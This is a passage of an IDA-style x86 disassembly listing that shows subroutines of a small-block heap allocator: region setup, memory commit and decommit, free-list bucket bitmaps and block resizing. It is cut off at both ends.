mov edx, [ebp+var_10]
add edx, [ebp+var_8]
mov eax, [ebp+var_8]
mov [edx-4], eax
loc_41D69A: ; CODE XREF: sub_41D1D0+4B4j
mov ecx, [ebp+var_10]
add ecx, [ebp+var_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_28]
add edx, 1
mov eax, [ebp+var_10]
mov [eax], edx
mov ecx, [ebp+var_28]
add ecx, 1
mov edx, [ebp+var_10]
add edx, [ebp+var_28]
mov [edx-4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov edx, [ebp+var_4]
mov [edx], eax
test ecx, ecx
jnz short loc_41D6F3
mov eax, [ebp+var_18]
cmp eax, dword_493770
jnz short loc_41D6F3
mov ecx, [ebp+var_30]
cmp ecx, dword_493768
jnz short loc_41D6F3
mov dword_493770, 0
loc_41D6F3: ; CODE XREF: sub_41D1D0+501j
; sub_41D1D0+50Cj ...
mov edx, [ebp+var_38]
mov eax, [ebp+var_30]
mov [edx], eax
mov eax, [ebp+var_10]
add eax, 4
loc_41D701: ; CODE XREF: sub_41D1D0+152j
; sub_41D1D0+178j
pop esi
mov esp, ebp
pop ebp
retn
sub_41D1D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D710 proc near ; CODE XREF: sub_41D1D0+142p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, dword_493774
cmp eax, dword_493764
jnz short loc_41D76B
mov ecx, dword_493764
add ecx, 10h
imul ecx, 14h
push ecx
mov edx, dword_493778
push edx
push 0
mov eax, dword_49377C
push eax
call ds:dword_494444
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41D753
xor eax, eax
jmp loc_41D81B
; ---------------------------------------------------------------------------
loc_41D753: ; CODE XREF: sub_41D710+3Aj
mov ecx, [ebp+var_4]
mov dword_493778, ecx
mov edx, dword_493764
add edx, 10h
mov dword_493764, edx
loc_41D76B: ; CODE XREF: sub_41D710+Fj
mov eax, dword_493774
imul eax, 14h
mov ecx, dword_493778
add ecx, eax
mov [ebp+var_4], ecx
push 41C4h
push 8
mov edx, dword_49377C
push edx
call ds:dword_494354
mov ecx, [ebp+var_4]
mov [ecx+10h], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+10h], 0
jnz short loc_41D7A5
xor eax, eax
jmp short loc_41D81B
; ---------------------------------------------------------------------------
loc_41D7A5: ; CODE XREF: sub_41D710+8Fj
push 4
push 2000h
push 100000h
push 0
call ds:dword_494454
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0
jnz short loc_41D7E2
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
push 0
mov edx, dword_49377C
push edx
call ds:dword_494350
xor eax, eax
jmp short loc_41D81B
; ---------------------------------------------------------------------------
loc_41D7E2: ; CODE XREF: sub_41D710+B6j
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_4]
mov dword ptr [edx+8], 0FFFFFFFFh
mov eax, dword_493774
add eax, 1
mov dword_493774, eax
mov ecx, [ebp+var_4]
mov edx, [ecx+10h]
mov dword ptr [edx], 0FFFFFFFFh
mov eax, [ebp+var_4]
loc_41D81B: ; CODE XREF: sub_41D710+3Ej
; sub_41D710+93j ...
mov esp, ebp
pop ebp
retn
sub_41D710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D820 proc near ; CODE XREF: sub_41D1D0+15Bp
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov [ebp+var_8], eax
mov [ebp+var_28], 0
loc_41D83F: ; CODE XREF: sub_41D820+36j
cmp [ebp+var_8], 0
jl short loc_41D858
mov ecx, [ebp+var_8]
shl ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_28]
add edx, 1
mov [ebp+var_28], edx
jmp short loc_41D83F
; ---------------------------------------------------------------------------
loc_41D858: ; CODE XREF: sub_41D820+23j
mov eax, [ebp+var_28]
imul eax, 204h
mov ecx, [ebp+var_2C]
lea edx, [ecx+eax+144h]
mov [ebp+var_C], edx
mov [ebp+var_20], 0
jmp short loc_41D880
; ---------------------------------------------------------------------------
loc_41D877: ; CODE XREF: sub_41D820+84j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
loc_41D880: ; CODE XREF: sub_41D820+55j
cmp [ebp+var_20], 3Fh
jge short loc_41D8A6
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
lea eax, [edx+ecx*8]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_18]
mov [ecx+8], edx
mov eax, [ebp+var_18]
mov ecx, [ebp+var_18]
mov [eax+4], ecx
jmp short loc_41D877
; ---------------------------------------------------------------------------
loc_41D8A6: ; CODE XREF: sub_41D820+64j
mov edx, [ebp+var_28]
shl edx, 0Fh
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
add ecx, edx
mov [ebp+var_10], ecx
push 4
push 1000h
push 8000h
mov edx, [ebp+var_10]
push edx
call ds:dword_494454
test eax, eax
jnz short loc_41D8D9
or eax, 0FFFFFFFFh
jmp loc_41DA0A
; ---------------------------------------------------------------------------
loc_41D8D9: ; CODE XREF: sub_41D820+AFj
mov eax, [ebp+var_10]
add eax, 7000h
mov [ebp+var_1C], eax
mov ecx, [ebp+var_10]
mov [ebp+var_4], ecx
jmp short loc_41D8F8
; ---------------------------------------------------------------------------
loc_41D8EC: ; CODE XREF: sub_41D820+13Bj
mov edx, [ebp+var_4]
add edx, 1000h
mov [ebp+var_4], edx
loc_41D8F8: ; CODE XREF: sub_41D820+CAj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_1C]
ja short loc_41D95D
mov ecx, [ebp+var_4]
mov dword ptr [ecx+8], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov dword ptr [edx+0FFCh], 0FFFFFFFFh
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov dword ptr [ecx], 0FF0h
mov edx, [ebp+var_18]
add edx, 1000h
mov eax, [ebp+var_18]
mov [eax+4], edx
mov ecx, [ebp+var_18]
sub ecx, 1000h
mov edx, [ebp+var_18]
mov [edx+8], ecx
mov eax, [ebp+var_18]
add eax, 0FECh
mov [ebp+var_24], eax
mov ecx, [ebp+var_24]
mov dword ptr [ecx], 0FF0h
jmp short loc_41D8EC
; ---------------------------------------------------------------------------
loc_41D95D: ; CODE XREF: sub_41D820+DEj
mov edx, [ebp+var_C]
add edx, 1F8h
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 0Ch
mov ecx, [ebp+var_14]
mov [ecx+4], eax
mov edx, [ebp+var_14]
mov eax, [edx+4]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+8], edx
mov eax, [ebp+var_1C]
add eax, 0Ch
mov ecx, [ebp+var_14]
mov [ecx+8], eax
mov edx, [ebp+var_14]
mov eax, [edx+8]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+4], edx
mov eax, [ebp+var_28]
mov ecx, [ebp+var_2C]
mov dword ptr [ecx+eax*4+44h], 0
mov edx, [ebp+var_28]
mov eax, [ebp+var_2C]
mov dword ptr [eax+edx*4+0C4h], 1
mov ecx, [ebp+var_2C]
movsx edx, byte ptr [ecx+43h]
mov eax, [ebp+var_2C]
mov cl, [eax+43h]
add cl, 1
mov eax, [ebp+var_2C]
mov [eax+43h], cl
test edx, edx
jnz short loc_41D9ED
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41D9ED: ; CODE XREF: sub_41D820+1BCj
mov edx, 80000000h
mov ecx, [ebp+var_28]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+var_28]
loc_41DA0A: ; CODE XREF: sub_41D820+B4j
mov esp, ebp
pop ebp
retn
sub_41D820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DA10 proc near ; CODE XREF: sub_41C620+50p
; sub_41C6D0+81p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_8]
add eax, 17h
and al, 0F0h
mov [ebp+var_1C], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+10h]
mov [ebp+var_30], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+0Ch]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
shr edx, 0Fh
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
imul eax, 204h
mov ecx, [ebp+var_30]
lea edx, [ecx+eax+144h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
sub eax, 4
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
mov edx, [ecx]
sub edx, 1
mov [ebp+var_28], edx
mov eax, [ebp+var_14]
add eax, [ebp+var_28]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
mov edx, [ecx]
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_28]
jle loc_41DD36
mov ecx, [ebp+var_10]
and ecx, 1
test ecx, ecx
jnz short loc_41DA9B
mov edx, [ebp+var_28]
add edx, [ebp+var_10]
cmp [ebp+var_1C], edx
jle short loc_41DAA2
loc_41DA9B: ; CODE XREF: sub_41DA10+7Ej
xor eax, eax
jmp loc_41DFF7
; ---------------------------------------------------------------------------
loc_41DAA2: ; CODE XREF: sub_41DA10+89j
mov eax, [ebp+var_10]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 3Fh
jbe short loc_41DABB
mov [ebp+var_20], 3Fh
loc_41DABB: ; CODE XREF: sub_41DA10+A2j
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41DB9D
cmp [ebp+var_20], 20h
jnb short loc_41DB32
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41DB30
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41DB30: ; CODE XREF: sub_41DA10+106j
jmp short loc_41DB9D
; ---------------------------------------------------------------------------
loc_41DB32: ; CODE XREF: sub_41DA10+C1j
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41DB9D
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41DB9D: ; CODE XREF: sub_41DA10+B7j
; sub_41DA10:loc_41DB30j ...
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_2C]
mov eax, [edx+4]
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_28]
add eax, [ebp+var_10]
sub eax, [ebp+var_1C]
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle loc_41DD17
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1C]
mov [ebp+var_2C], ecx
mov edx, [ebp+var_10]
sar edx, 4
sub edx, 1
mov [ebp+var_20], edx
cmp [ebp+var_20], 3Fh
jbe short loc_41DBF3
mov [ebp+var_20], 3Fh
loc_41DBF3: ; CODE XREF: sub_41DA10+1DAj
mov eax, [ebp+var_20]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax*8]
mov [ebp+var_18], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_18]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_18]
mov [eax+8], ecx
mov edx, [ebp+var_18]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+var_2C]
mov edx, [ecx+4]
mov eax, [ebp+var_2C]
mov [edx+8], eax
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41DD03
cmp [ebp+var_20], 20h
jnb short loc_41DC9C
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], cl
test edx, edx
jnz short loc_41DC7A
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41DC7A: ; CODE XREF: sub_41DA10+252j
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+44h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+44h], ecx
jmp short loc_41DD03
; ---------------------------------------------------------------------------
loc_41DC9C: ; CODE XREF: sub_41DA10+22Fj
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], cl
test edx, edx
jnz short loc_41DCDA
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_41DCDA: ; CODE XREF: sub_41DA10+2ADj
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
loc_41DD03: ; CODE XREF: sub_41DA10+225j
; sub_41DA10+28Aj
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_10]
mov [ecx], edx
mov eax, [ebp+var_2C]
add eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov [eax-4], ecx
loc_41DD17: ; CODE XREF: sub_41DA10+1BBj
mov edx, [ebp+var_1C]
add edx, 1
mov eax, [ebp+var_14]
mov [eax], edx
mov ecx, [ebp+var_1C]
add ecx, 1
mov edx, [ebp+var_14]
add edx, [ebp+var_1C]
mov [edx-4], ecx
jmp loc_41DFF2
; ---------------------------------------------------------------------------
loc_41DD36: ; CODE XREF: sub_41DA10+70j
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_28]
jge loc_41DFF2
mov ecx, [ebp+var_1C]
add ecx, 1
mov edx, [ebp+var_14]
mov [edx], ecx
mov eax, [ebp+var_1C]
add eax, 1
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1C]
mov [ecx-4], eax
mov edx, [ebp+var_14]
add edx, [ebp+var_1C]
mov [ebp+var_14], edx
mov eax, [ebp+var_28]
sub eax, [ebp+var_1C]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
sar ecx, 4
sub ecx, 1
mov [ebp+var_24], ecx
cmp [ebp+var_24], 3Fh
jbe short loc_41DD87
mov [ebp+var_24], 3Fh
loc_41DD87: ; CODE XREF: sub_41DA10+36Ej
mov edx, [ebp+var_10]
and edx, 1
test edx, edx
jnz loc_41DED0
mov eax, [ebp+var_10]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 3Fh
jbe short loc_41DDAE
mov [ebp+var_20], 3Fh
loc_41DDAE: ; CODE XREF: sub_41DA10+395j
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41DE90
cmp [ebp+var_20], 20h
jnb short loc_41DE25
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41DE23
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41DE23: ; CODE XREF: sub_41DA10+3F9j
jmp short loc_41DE90
; ---------------------------------------------------------------------------
loc_41DE25: ; CODE XREF: sub_41DA10+3B4j
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41DE90
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41DE90: ; CODE XREF: sub_41DA10+3AAj
; sub_41DA10:loc_41DE23j ...
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_2C]
mov eax, [edx+4]
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_28]
add eax, [ebp+var_10]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
sar ecx, 4
sub ecx, 1
mov [ebp+var_24], ecx
cmp [ebp+var_24], 3Fh
jbe short loc_41DED0
mov [ebp+var_24], 3Fh
loc_41DED0: ; CODE XREF: sub_41DA10+37Fj
; sub_41DA10+4B7j
mov edx, [ebp+var_24]
mov eax, [ebp+var_8]
lea ecx, [eax+edx*8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx+8], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+4], edx
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov edx, [ebp+var_14]
mov [ecx+8], edx
mov eax, [ebp+var_14]
mov ecx, [ebp+var_14]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_41DFDE
cmp [ebp+var_24], 20h
jnb short loc_41DF78
mov eax, [ebp+var_30]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov [edx+4], al
test ecx, ecx
jnz short loc_41DF56
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx]
or edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
loc_41DF56: ; CODE XREF: sub_41DA10+52Ej
mov edx, 80000000h
mov ecx, [ebp+var_24]
shr edx, cl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
or eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
jmp short loc_41DFDE
; ---------------------------------------------------------------------------
loc_41DF78: ; CODE XREF: sub_41DA10+50Cj
mov eax, [ebp+var_30]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov [edx+4], al
test ecx, ecx
jnz short loc_41DFB5
mov ecx, [ebp+var_24]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41DFB5: ; CODE XREF: sub_41DA10+588j
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+0C4h]
or eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+0C4h], eax
loc_41DFDE: ; CODE XREF: sub_41DA10+502j
; sub_41DA10+566j
mov eax, [ebp+var_14]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov edx, [ebp+var_14]
add edx, [ebp+var_28]
mov eax, [ebp+var_28]
mov [edx-4], eax
loc_41DFF2: ; CODE XREF: sub_41DA10+321j
; sub_41DA10+32Cj
mov eax, 1
loc_41DFF7: ; CODE XREF: sub_41DA10+8Dj
mov esp, ebp
pop ebp
retn
sub_41DA10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_493770, 0
jz loc_41E12C
mov eax, dword_493768
shl eax, 0Fh
mov ecx, dword_493770
mov edx, [ecx+0Ch]
add edx, eax
mov [ebp-4], edx
push 4000h
push 8000h
mov eax, [ebp-4]
push eax
call ds:dword_494450
mov edx, 80000000h
mov ecx, dword_493768
shr edx, cl
mov eax, dword_493770
mov ecx, [eax+8]
or ecx, edx
mov edx, dword_493770
mov [edx+8], ecx
mov eax, dword_493770
mov ecx, [eax+10h]
mov edx, dword_493768
mov dword ptr [ecx+edx*4+0C4h], 0
mov eax, dword_493770
mov ecx, [eax+10h]
mov dl, [ecx+43h]
sub dl, 1
mov eax, dword_493770
mov ecx, [eax+10h]
mov [ecx+43h], dl
mov edx, dword_493770
mov eax, [edx+10h]
movsx ecx, byte ptr [eax+43h]
test ecx, ecx
jnz short loc_41E0B2
mov edx, dword_493770
mov eax, [edx+4]
and al, 0FEh
mov ecx, dword_493770
mov [ecx+4], eax
loc_41E0B2: ; CODE XREF: .text:0041E09Cj
mov edx, dword_493770
cmp dword ptr [edx+8], 0FFFFFFFFh
jnz short loc_41E122
cmp dword_493774, 1
jle short loc_41E122
mov eax, dword_493770
mov ecx, [eax+10h]
push ecx
push 0
mov edx, dword_49377C
push edx
call ds:dword_494350
mov eax, dword_493774
imul eax, 14h
mov ecx, dword_493778
add ecx, eax
mov edx, dword_493770
add edx, 14h
sub ecx, edx
push ecx
mov eax, dword_493770
add eax, 14h
push eax
mov ecx, dword_493770
push ecx
call sub_426C00
add esp, 0Ch
mov edx, dword_493774
sub edx, 1
mov dword_493774, edx
loc_41E122: ; CODE XREF: .text:0041E0BCj
; .text:0041E0C5j
mov dword_493770, 0
loc_41E12C: ; CODE XREF: .text:0041E00Bj
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E130 proc near ; CODE XREF: sub_41C930+15p
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 168h
mov eax, dword_493774
imul eax, 14h
push eax
mov ecx, dword_493778
push ecx
call ds:dword_494408
test eax, eax
jz short loc_41E15B
or eax, 0FFFFFFFFh
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E15B: ; CODE XREF: sub_41E130+21j
mov edx, dword_493778
mov [ebp+var_13C], edx
mov [ebp+var_120], 0
jmp short loc_41E182
; ---------------------------------------------------------------------------
loc_41E173: ; CODE XREF: sub_41E130+612j
mov eax, [ebp+var_120]
add eax, 1
mov [ebp+var_120], eax
loc_41E182: ; CODE XREF: sub_41E130+41j
mov ecx, [ebp+var_120]
cmp ecx, dword_493774
jge loc_41E747
mov edx, [ebp+var_13C]
mov eax, [edx+10h]
mov [ebp+var_160], eax
push 41C4h
mov ecx, [ebp+var_160]
push ecx
call ds:dword_494408
test eax, eax
jz short loc_41E1C3
mov eax, 0FFFFFFFEh
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E1C3: ; CODE XREF: sub_41E130+87j
mov edx, [ebp+var_13C]
mov eax, [edx+0Ch]
mov [ebp+var_128], eax
mov ecx, [ebp+var_160]
add ecx, 144h
mov [ebp+var_18], ecx
mov edx, [ebp+var_13C]
mov eax, [edx+8]
mov [ebp+var_4], eax
mov [ebp+var_144], 0
mov [ebp+var_158], 0
mov [ebp+var_C], 0
jmp short loc_41E213
; ---------------------------------------------------------------------------
loc_41E20A: ; CODE XREF: sub_41E130+5D6j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_41E213: ; CODE XREF: sub_41E130+D8j
cmp [ebp+var_C], 20h
jge loc_41E70B
mov [ebp+var_11C], 0
mov [ebp+var_150], 0
mov [ebp+var_12C], 0
mov [ebp+var_14C], 0
jmp short loc_41E256
; ---------------------------------------------------------------------------
loc_41E247: ; CODE XREF: sub_41E130+140j
mov edx, [ebp+var_14C]
add edx, 1
mov [ebp+var_14C], edx
loc_41E256: ; CODE XREF: sub_41E130+115j
cmp [ebp+var_14C], 40h
jge short loc_41E272
mov eax, [ebp+var_14C]
mov [ebp+eax*4+var_118], 0
jmp short loc_41E247
; ---------------------------------------------------------------------------
loc_41E272: ; CODE XREF: sub_41E130+12Dj
cmp [ebp+var_4], 0
jl loc_41E6AD
push 8000h
mov ecx, [ebp+var_128]
push ecx
call ds:dword_494408
test eax, eax
jz short loc_41E29C
mov eax, 0FFFFFFFCh
jmp loc_41E749
; ---------------------------------------------------------------------------
loc_41E29C: ; CODE XREF: sub_41E130+160j
mov edx, [ebp+var_128]
mov [ebp+var_8], edx
mov [ebp+var_140], 0
jmp short loc_41E2C0
; ---------------------------------------------------------------------------
loc_41E2B1: ; CODE XREF: sub_41E130+30Fj
mov eax, [ebp+var_140]
add eax, 1
mov [ebp+var_140], eax
